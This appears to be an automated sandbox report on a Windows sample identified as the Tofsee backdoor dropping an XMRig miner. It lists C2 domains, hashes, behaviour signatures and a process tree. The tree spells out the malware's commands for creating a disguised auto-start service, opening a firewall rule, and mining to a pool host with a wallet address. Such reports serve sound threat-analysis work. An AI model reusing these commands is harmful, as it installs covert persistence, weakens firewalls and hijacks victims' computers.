Analysis

  • max time kernel
    149s
  • max time network
    151s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20220812-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20220812-enlocale:en-usos:windows10-2004-x64system
  • submitted
    26/10/2022, 12:04

General

  • Target
    file.exe
  • Size 216KB
  • Sample221026-n8lmvsffcr
  • SHA256 2b80c06d3c307456871fbaca4331f290bd2c4522b9fe3a4d7e3d630d7f6847f8
  • MD5 SHA1 SHA512 SSDEEP

Malware Config

Extracted

Family
  • tofsee

C2
  • svartalfheim.top

  • jotunheim.name

Signatures

  • Tofsee

    Backdoor/botnet which carries out malicious activities based on commands from a C2 server.

  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner payload 2 IoCs
  • Creates new service(s) 1 TTPs
  • Executes dropped EXE 1 IoCs
  • Modifies Windows Firewall 1 TTPs 1 IoCs
  • Sets service image path in registry 2 TTPs 1 IoCs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Drops file in System32 directory 2 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • Launches sc.exe 3 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Modifies data under HKEY_USERS 7 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 28 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\file.exe
    "C:\Users\Admin\AppData\Local\Temp\file.exe"
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:644
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\dlwcqcwq\
      2⤵
        PID:4968
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\vlrydpti.exe" C:\Windows\SysWOW64\dlwcqcwq\
        2⤵
          PID:3052
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" create dlwcqcwq binPath= "C:\Windows\SysWOW64\dlwcqcwq\vlrydpti.exe /d\"C:\Users\Admin\AppData\Local\Temp\file.exe\"" type= own start= auto DisplayName= "wifi support"
          2⤵
          • Launches sc.exe
          PID:3480
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" description dlwcqcwq "wifi internet conection"
          2⤵
          • Launches sc.exe
          PID:1456
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" start dlwcqcwq
          2⤵
          • Launches sc.exe
          PID:1440
        • C:\Windows\SysWOW64\netsh.exe
          "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul
          2⤵
          • Modifies Windows Firewall
          PID:116
      • C:\Windows\SysWOW64\dlwcqcwq\vlrydpti.exe
        C:\Windows\SysWOW64\dlwcqcwq\vlrydpti.exe /d"C:\Users\Admin\AppData\Local\Temp\file.exe"
        1⤵
        • Executes dropped EXE
        • Suspicious use of SetThreadContext
        • Suspicious use of WriteProcessMemory
        PID:4684
        • C:\Windows\SysWOW64\svchost.exe
          svchost.exe
          2⤵
          • Sets service image path in registry
          • Drops file in System32 directory
          • Suspicious use of SetThreadContext
          • Modifies data under HKEY_USERS
          • Suspicious use of WriteProcessMemory
          PID:444
          • C:\Windows\SysWOW64\svchost.exe
            svchost.exe -o fastpool.xyz:10060 -u 9mLwUkiK8Yp89zQQYodWKN29jVVVz1cWDFZctWxge16Zi3TpHnSBnnVcCDhSRXdesnMBdVjtDwh1N71KD9z37EzgKSM1tmS.60000 -p x -k -a cn/half
            3⤵
            • Suspicious use of AdjustPrivilegeToken
            PID:2280

      Network

            MITRE ATT&CK Enterprise v6

            Replay Monitor

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            Downloads

            vlrydpti.exe

            • Path C:\Users\Admin\AppData\Local\Temp\vlrydpti.exe
            • Size 14.6MB
            • SHA256 162110d5fde1e3edb47c850a1a6bd7641fc0a7ea4fde68da34b68780ee5bf920
            • MD5 SHA1 SHA512 SSDEEP

            vlrydpti.exe

            • Path C:\Windows\SysWOW64\dlwcqcwq\vlrydpti.exe
            • Size 14.6MB
            • SHA256 162110d5fde1e3edb47c850a1a6bd7641fc0a7ea4fde68da34b68780ee5bf920
            • MD5 SHA1 SHA512 SSDEEP

            memory/444-157-0x0000000000BF0000-0x0000000000BF6000-memory.dmp

            memory/444-147-0x0000000000690000-0x00000000006A5000-memory.dmp

            memory/444-169-0x00000000027D0000-0x00000000027D7000-memory.dmp

            memory/444-166-0x0000000007240000-0x000000000764B000-memory.dmp

            memory/444-163-0x00000000019F0000-0x00000000019F5000-memory.dmp

            memory/444-160-0x00000000019E0000-0x00000000019F0000-memory.dmp

            memory/444-154-0x0000000002200000-0x000000000240F000-memory.dmp

            memory/444-153-0x0000000000690000-0x00000000006A5000-memory.dmp

            memory/444-152-0x0000000000690000-0x00000000006A5000-memory.dmp

            memory/644-133-0x0000000000710000-0x0000000000723000-memory.dmp

            memory/644-134-0x0000000000400000-0x0000000000594000-memory.dmp

            memory/644-144-0x0000000000400000-0x0000000000594000-memory.dmp

            memory/644-132-0x00000000005F9000-0x000000000060A000-memory.dmp

            memory/644-143-0x00000000005F9000-0x000000000060A000-memory.dmp

            memory/2280-173-0x0000000000E10000-0x0000000000F01000-memory.dmp

            memory/2280-178-0x0000000000E10000-0x0000000000F01000-memory.dmp

            memory/4684-151-0x0000000000400000-0x0000000000594000-memory.dmp

            memory/4684-149-0x0000000000400000-0x0000000000594000-memory.dmp

            memory/4684-145-0x00000000008B3000-0x00000000008C3000-memory.dmp